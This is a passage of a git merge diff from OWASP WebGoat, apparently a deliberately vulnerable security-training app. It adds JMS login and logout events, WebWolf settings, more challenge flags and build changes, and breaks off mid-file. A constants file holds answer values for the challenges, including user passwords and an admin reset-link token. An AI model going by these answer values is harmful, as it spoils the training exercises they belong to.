Merge remote-tracking branch 'upstream/develop' into develop
@ -4,7 +4,7 @@ jdk:
|
||||
install: "/bin/true"
|
||||
script:
|
||||
- mvn clean install
|
||||
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install; else mvn clean install; fi
|
||||
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; else mvn clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; fi
|
||||
cache:
|
||||
directories:
|
||||
- $HOME/.m2
|
||||
|
8
pom.xml
@ -20,7 +20,7 @@
|
||||
<parent>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-parent</artifactId>
|
||||
<version>1.5.3.RELEASE</version>
|
||||
<version>1.5.5.RELEASE</version>
|
||||
</parent>
|
||||
|
||||
<licenses>
|
||||
@ -130,7 +130,6 @@
|
||||
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
||||
<commons-io.version>2.4</commons-io.version>
|
||||
<commons-lang3.version>3.4</commons-lang3.version>
|
||||
<commons-logging.version>1.2</commons-logging.version>
|
||||
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
||||
<gatling.version>2.2.5</gatling.version>
|
||||
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
||||
@ -146,7 +145,6 @@
|
||||
<jstl.version>1.2</jstl.version>
|
||||
<jtds.version>1.3.1</jtds.version>
|
||||
<junit.version>4.12</junit.version>
|
||||
<log4j.version>1.2.17</log4j.version>
|
||||
<mail-api.version>1.5.4</mail-api.version>
|
||||
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version>
|
||||
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version>
|
||||
@ -160,8 +158,6 @@
|
||||
<scala.version>2.11.7</scala.version>
|
||||
<sauce_junit.version>2.1.20</sauce_junit.version>
|
||||
<selenium-java.version>2.48.2</selenium-java.version>
|
||||
<slf4j-api.version>1.7.12</slf4j-api.version>
|
||||
<slf4j-log4j12.version>1.7.12</slf4j-log4j12.version>
|
||||
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
||||
<standard.version>1.1.2</standard.version>
|
||||
<tiles.version>3.0.5</tiles.version>
|
||||
@ -172,9 +168,11 @@
|
||||
</properties>
|
||||
|
||||
<modules>
|
||||
<module>webgoat-commons</module>
|
||||
<module>webgoat-container</module>
|
||||
<module>webgoat-lessons</module>
|
||||
<module>webgoat-server</module>
|
||||
<module>webwolf</module>
|
||||
</modules>
|
||||
|
||||
<distributionManagement>
|
||||
|
37
webgoat-commons/pom.xml
Normal file
@ -0,0 +1,37 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webgoat-commons</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>${maven-compiler-plugin.version}</version>
|
||||
<configuration>
|
||||
<source>1.8</source>
|
||||
<target>1.8</target>
|
||||
<encoding>ISO-8859-1</encoding>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
|
||||
</project>
|
@ -0,0 +1,15 @@
|
||||
package org.owasp.webgoat.login;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@Data
|
||||
@AllArgsConstructor
|
||||
public class LoginEvent {
|
||||
private String user;
|
||||
private String cookie;
|
||||
}
|
@ -0,0 +1,14 @@
|
||||
package org.owasp.webgoat.login;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@AllArgsConstructor
|
||||
@Data
|
||||
public class LogoutEvent {
|
||||
private String user;
|
||||
}
|
@ -0,0 +1,21 @@
|
||||
package org.owasp.webgoat.mail;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@Builder
|
||||
@Data
|
||||
public class IncomingMailEvent {
|
||||
|
||||
private LocalDateTime time;
|
||||
private String contents;
|
||||
private String sender;
|
||||
private String title;
|
||||
private String recipient;
|
||||
}
|
@ -34,6 +34,23 @@
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
<profile>
|
||||
<id>local</id>
|
||||
<activation>
|
||||
<activeByDefault>true</activeByDefault>
|
||||
</activation>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</profile>
|
||||
<profile>
|
||||
<id>ctf</id>
|
||||
<!-- Connect to real mongodb -->
|
||||
</profile>
|
||||
|
||||
</profiles>
|
||||
|
||||
@ -132,6 +149,19 @@
|
||||
</build>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-commons</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
@ -144,6 +174,19 @@
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-cache</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-activemq</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-jms</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.asciidoctor</groupId>
|
||||
<artifactId>asciidoctorj</artifactId>
|
||||
@ -153,10 +196,6 @@
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.commons</groupId>
|
||||
<artifactId>commons-lang3</artifactId>
|
||||
|
@ -1,11 +1,24 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.owasp.webgoat.login.LoginEvent;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.jms.core.JmsTemplate;
|
||||
import org.springframework.security.core.Authentication;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.Optional;
|
||||
|
||||
import static java.util.Optional.empty;
|
||||
import static java.util.Optional.of;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
* <p>
|
||||
@ -41,19 +54,38 @@ import org.springframework.web.servlet.ModelAndView;
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
@Controller
|
||||
@AllArgsConstructor
|
||||
public class HammerHead {
|
||||
|
||||
private final Course course;
|
||||
|
||||
public HammerHead(Course course) {
|
||||
this.course = course;
|
||||
}
|
||||
private JmsTemplate jmsTemplate;
|
||||
|
||||
/**
|
||||
* Entry point for WebGoat, redirects to the first lesson found within the course.
|
||||
*/
|
||||
@RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
|
||||
public ModelAndView attack() {
|
||||
public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) {
|
||||
sendUserLoggedInMessage(request, response, authentication);
|
||||
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
|
||||
}
|
||||
|
||||
private void sendUserLoggedInMessage(HttpServletRequest request, HttpServletResponse response, Authentication authentication) {
|
||||
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
|
||||
getWebGoatCookie(request).ifPresent(c -> {
|
||||
jmsTemplate.convertAndSend("webgoat", new LoginEvent(user.getUsername(), c.getValue()), m -> {
|
||||
m.setStringProperty("type", LoginEvent.class.getSimpleName());
|
||||
return m;
|
||||
}
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
private Optional<Cookie> getWebGoatCookie(HttpServletRequest request) {
|
||||
for (Cookie c : request.getCookies()) {
|
||||
if (c.getName().equals("JSESSIONID")) {
|
||||
return of(c);
|
||||
}
|
||||
}
|
||||
return empty();
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,35 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import org.apache.activemq.broker.BrokerService;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.jms.support.converter.MappingJackson2MessageConverter;
|
||||
import org.springframework.jms.support.converter.MessageConverter;
|
||||
import org.springframework.jms.support.converter.MessageType;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@Configuration
|
||||
public class JmsConfig {
|
||||
|
||||
@Bean(initMethod = "start", destroyMethod = "stop")
|
||||
public BrokerService broker() throws Exception {
|
||||
final BrokerService broker = new BrokerService();
|
||||
broker.addConnector("tcp://localhost:61616");
|
||||
broker.addConnector("vm://localhost");
|
||||
broker.setPersistent(false);
|
||||
return broker;
|
||||
}
|
||||
|
||||
@Bean
|
||||
public MessageConverter jacksonJmsMessageConverter(ObjectMapper objectMapper) {
|
||||
MappingJackson2MessageConverter converter = new MappingJackson2MessageConverter();
|
||||
converter.setTargetType(MessageType.TEXT);
|
||||
converter.setObjectMapper(objectMapper);
|
||||
converter.setTypeIdPropertyName("_type");
|
||||
return converter;
|
||||
}
|
||||
}
|
@ -39,11 +39,9 @@ import org.owasp.webgoat.session.LabelDebugger;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Qualifier;
|
||||
import org.springframework.context.ApplicationContext;
|
||||
import org.springframework.context.MessageSource;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.core.io.ResourceLoader;
|
||||
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
|
||||
import org.springframework.web.servlet.LocaleResolver;
|
||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
||||
@ -154,13 +152,9 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
||||
return slr;
|
||||
}
|
||||
|
||||
@Bean
|
||||
public HammerHead hammerHead(Course course) {
|
||||
return new HammerHead(course);
|
||||
}
|
||||
|
||||
@Bean
|
||||
public LabelDebugger labelDebugger() {
|
||||
return new LabelDebugger();
|
||||
}
|
||||
|
||||
}
|
@ -30,7 +30,6 @@
|
||||
*/
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonInclude;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.catalina.Context;
|
||||
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
|
||||
@ -49,10 +48,8 @@ import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletCon
|
||||
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
||||
import org.springframework.context.ApplicationContext;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Primary;
|
||||
import org.springframework.context.annotation.Scope;
|
||||
import org.springframework.context.annotation.ScopedProxyMode;
|
||||
import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.Arrays;
|
||||
@ -70,15 +67,6 @@ public class WebGoat extends SpringBootServletInitializer {
|
||||
SpringApplication.run(WebGoat.class, args);
|
||||
}
|
||||
|
||||
@Bean
|
||||
@Primary
|
||||
public Jackson2ObjectMapperBuilder jacksonBuilder() {
|
||||
Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
|
||||
builder.indentOutput(true);
|
||||
builder.serializationInclusion(JsonInclude.Include.NON_NULL);
|
||||
return builder;
|
||||
}
|
||||
|
||||
@Bean(name = "pluginTargetDirectory")
|
||||
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
|
||||
return new File(webgoatHome);
|
||||
@ -93,7 +81,7 @@ public class WebGoat extends SpringBootServletInitializer {
|
||||
@Bean
|
||||
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
||||
public UserSessionData userSessionData() {
|
||||
return new UserSessionData("test","data");
|
||||
return new UserSessionData("test", "data");
|
||||
}
|
||||
|
||||
@Bean
|
||||
|
@ -31,6 +31,7 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.owasp.webgoat.login.LogoutHandler;
|
||||
import org.owasp.webgoat.users.UserService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
@ -52,6 +53,7 @@ import org.springframework.security.core.userdetails.UserDetailsService;
|
||||
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
|
||||
private final UserService userDetailsService;
|
||||
private final LogoutHandler logoutHandler;
|
||||
|
||||
@Override
|
||||
protected void configure(HttpSecurity http) throws Exception {
|
||||
@ -69,8 +71,8 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
.passwordParameter("password")
|
||||
.permitAll();
|
||||
security.and()
|
||||
.logout()
|
||||
.permitAll();
|
||||
.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true)
|
||||
.permitAll().logoutSuccessHandler(logoutHandler);
|
||||
security.and().csrf().disable();
|
||||
|
||||
http.headers().cacheControl().disable();
|
||||
|
@ -108,4 +108,8 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
||||
protected AttackResult.AttackResultBuilder failed() {
|
||||
return AttackResult.builder(messages).lessonCompleted(false).feedback("assignment.not.solved");
|
||||
}
|
||||
|
||||
protected AttackResult.AttackResultBuilder informationMessage() {
|
||||
return AttackResult.builder(messages).lessonCompleted(false);
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,47 @@
|
||||
package org.owasp.webgoat.login;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.jms.core.JmsTemplate;
|
||||
import org.springframework.security.core.Authentication;
|
||||
import org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandler;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.util.Optional;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@AllArgsConstructor
|
||||
@Component
|
||||
public class LogoutHandler extends SimpleUrlLogoutSuccessHandler {
|
||||
|
||||
private JmsTemplate jmsTemplate;
|
||||
|
||||
@Override
|
||||
public void onLogoutSuccess(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Authentication authentication) throws IOException, ServletException {
|
||||
if (authentication != null) {
|
||||
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
|
||||
jmsTemplate.convertAndSend("webgoat", new LogoutEvent(user.getUsername()), m -> {
|
||||
m.setStringProperty("type", LogoutEvent.class.getSimpleName());
|
||||
return m;
|
||||
});
|
||||
}
|
||||
super.onLogoutSuccess(httpServletRequest, httpServletResponse, authentication);
|
||||
}
|
||||
|
||||
private Optional<Cookie> findSessionCookie(Cookie[] cookies) {
|
||||
for (Cookie cookie : cookies) {
|
||||
if ("JSESSIONID".equals(cookie.getName())) {
|
||||
return Optional.of(cookie);
|
||||
}
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
}
|
@ -71,6 +71,7 @@ public class PluginsLoader {
|
||||
NewLesson lesson = null;
|
||||
try {
|
||||
lesson = (NewLesson) c.newInstance();
|
||||
log.trace("Lesson loaded: {}", lesson.getId());
|
||||
} catch (Exception e) {
|
||||
log.error("Error while loading:" + c, e);
|
||||
}
|
||||
|
@ -1,16 +1,16 @@
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.security.authentication.AuthenticationManager;
|
||||
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.validation.BindingResult;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.validation.Valid;
|
||||
|
||||
/**
|
||||
@ -32,29 +32,16 @@ public class RegistrationController {
|
||||
}
|
||||
|
||||
@PostMapping("/register.mvc")
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult) {
|
||||
@SneakyThrows
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
||||
userValidator.validate(userForm, bindingResult);
|
||||
|
||||
if (bindingResult.hasErrors()) {
|
||||
return "registration";
|
||||
}
|
||||
userService.addUser(userForm.getUsername(), userForm.getPassword());
|
||||
autologin(userForm.getUsername(), userForm.getPassword());
|
||||
request.login(userForm.getUsername(), userForm.getPassword());
|
||||
|
||||
return "redirect:/attack";
|
||||
}
|
||||
|
||||
private void autologin(String username, String password) {
|
||||
WebGoatUser user = userService.loadUserByUsername(username);
|
||||
UsernamePasswordAuthenticationToken usernamePasswordAuthenticationToken = new UsernamePasswordAuthenticationToken(user, password, user.getAuthorities());
|
||||
|
||||
authenticationManager.authenticate(usernamePasswordAuthenticationToken);
|
||||
|
||||
if (usernamePasswordAuthenticationToken.isAuthenticated()) {
|
||||
SecurityContextHolder.getContext().setAuthentication(usernamePasswordAuthenticationToken);
|
||||
log.debug("Login for {} successfully!", username);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
@ -45,10 +45,11 @@ public class Scoreboard {
|
||||
}
|
||||
|
||||
private List<String> challengesSolved(UserTracker userTracker) {
|
||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5");
|
||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||
return challenges.stream()
|
||||
.map(c -> userTracker.getLessonTracker(c))
|
||||
.filter(l -> l.isPresent()).map(l -> l.get())
|
||||
.filter(l -> l.isLessonSolved())
|
||||
.map(l -> l.getLessonName())
|
||||
.map(l -> toLessonTitle(l))
|
||||
.collect(Collectors.toList());
|
||||
|
@ -0,0 +1,21 @@
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import lombok.AccessLevel;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.NoArgsConstructor;
|
||||
import org.springframework.data.annotation.Id;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/15/17.
|
||||
*/
|
||||
@Getter
|
||||
@AllArgsConstructor
|
||||
@NoArgsConstructor(access = AccessLevel.PROTECTED)
|
||||
public class UserSession {
|
||||
|
||||
private WebGoatUser webGoatUser;
|
||||
@Id
|
||||
private String sessionId;
|
||||
}
|
@ -29,7 +29,16 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
|
||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||
webgoat.default.language=en
|
||||
|
||||
webwolf.port=8081
|
||||
webwolf.url=http://localhost:${webwolf.port}/WebWolf
|
||||
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
|
||||
|
||||
spring.jackson.serialization.indent_output=true
|
||||
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||
|
||||
spring.activemq.brokerUrl=tcp://localhost:61616
|
||||
|
||||
spring.data.mongodb.port=27017
|
||||
spring.data.mongodb.database=webgoat
|
||||
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
|
||||
|
||||
|
@ -1,15 +0,0 @@
|
||||
<databaseChangeLog
|
||||
xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
|
||||
http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-3.4.xsd">
|
||||
|
||||
<changeSet author="WebGoat" id="init_schema">
|
||||
<createTable tableName="web_goat_user">
|
||||
<column name="username" type="varchar(32)"/>
|
||||
<column name="password" type="varchar(32)"/>
|
||||
<column name="role" type="varchar(32)"/>
|
||||
</createTable>
|
||||
<addPrimaryKey columnNames="username" constraintName="pk_user" tableName="web_goat_user"/>
|
||||
</changeSet>
|
||||
</databaseChangeLog>
|
@ -24,7 +24,7 @@
|
||||
#
|
||||
|
||||
lesson.completed=Congratulations. You have successfully completed this lesson.
|
||||
assignment.solved=Congratulations. You have successfully complete the assignment.
|
||||
assignment.solved=Congratulations. You have successfully completed the assignment.
|
||||
assignment.not.solved=Sorry the solution is not correct, please try again.
|
||||
RestartLesson=Restart this Lesson
|
||||
SolutionVideos=Solution Videos
|
||||
|
After Width: | Height: | Size: 56 KiB |
@ -1146,7 +1146,7 @@ div.captured-flag {
|
||||
}
|
||||
|
||||
.appseceu-banner {
|
||||
background: url('img/appseceu-17.png') no-repeat 0px 0px;
|
||||
background: url('img/owasp_logo.jpg') no-repeat 0px 0px;
|
||||
height: 117px;
|
||||
width: 1268px;
|
||||
margin-bottom: 20px;
|
||||
|
@ -1,5 +1,5 @@
|
||||
<div class="scoreboard-title">WebGoat Challenge - AppSec EU 2017</div>
|
||||
<div class="appseceu-banner">banner here</div>
|
||||
<div class="scoreboard-title">WebGoat Challenge</div>
|
||||
<div class="appseceu-banner"></div>
|
||||
<table class="scoreboard-table">
|
||||
<% _.each(rankings, function(userRanking, index) { %>
|
||||
<tr>
|
||||
|
@ -0,0 +1,19 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import org.apache.activemq.broker.BrokerService;
|
||||
import org.mockito.Mockito;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/30/17.
|
||||
*/
|
||||
@Configuration
|
||||
public class JmsTestConfig {
|
||||
|
||||
@Bean
|
||||
public BrokerService broker() throws Exception {
|
||||
return Mockito.mock(BrokerService.class);
|
||||
}
|
||||
}
|
@ -9,6 +9,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.context.embedded.LocalServerPort;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.context.annotation.Import;
|
||||
import org.springframework.test.context.TestPropertySource;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
@ -23,6 +24,7 @@ import static org.mockito.Mockito.when;
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
@TestPropertySource(locations = "classpath:/application-test.properties")
|
||||
@Import(JmsTestConfig.class)
|
||||
public abstract class LessonTest {
|
||||
|
||||
@LocalServerPort
|
||||
|
@ -1 +1 @@
|
||||
webgoat.user.directory=/tmp/
|
||||
webgoat.user.directory=${java.io.tmpdir}
|
@ -1 +0,0 @@
|
||||
log4j.rootLogger=INFO
|
1
webgoat-container/src/test/resources/logback-test.xml
Normal file
@ -0,0 +1 @@
|
||||
<configuration />
|
@ -6,7 +6,6 @@ import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
@ -38,7 +37,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
||||
.param("field6", "90201 1111")
|
||||
.param("field7", "301-604-4882")
|
||||
.param("error", "2"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@ -53,7 +51,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882$$")
|
||||
.param("error", "0"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@ -68,7 +65,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882AA")
|
||||
.param("error", "0"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
|
@ -45,7 +45,7 @@ public class Flag extends Endpoint {
|
||||
|
||||
@PostConstruct
|
||||
public void initFlags() {
|
||||
IntStream.range(1, 7).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
|
||||
}
|
||||
|
||||
|
@ -14,5 +14,7 @@ public interface SolutionConstants {
|
||||
String PASSWORD_TOM = "thisisasecretfortomonly";
|
||||
String PASSWORD_LARRY = "larryknows";
|
||||
String JWT_PASSWORD = "victory";
|
||||
|
||||
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
||||
String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||
String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||
}
|
||||
|
@ -6,7 +6,7 @@ import com.google.common.collect.EvictingQueue;
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.io.Files;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.joda.time.DateTime;
|
||||
import org.joda.time.format.DateTimeFormat;
|
||||
import org.joda.time.format.DateTimeFormatter;
|
||||
@ -45,6 +45,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("/challenge/3")
|
||||
@Slf4j
|
||||
public class Assignment3 extends AssignmentEndpoint {
|
||||
|
||||
@Value("${webgoat.server.directory}")
|
||||
@ -66,10 +67,11 @@ public class Assignment3 extends AssignmentEndpoint {
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
public void copyFile() {
|
||||
File targetDirectory = new File(webGoatHomeDirectory, "/challenges");
|
||||
File targetDirectory = new File(webGoatHomeDirectory);
|
||||
if (!targetDirectory.exists()) {
|
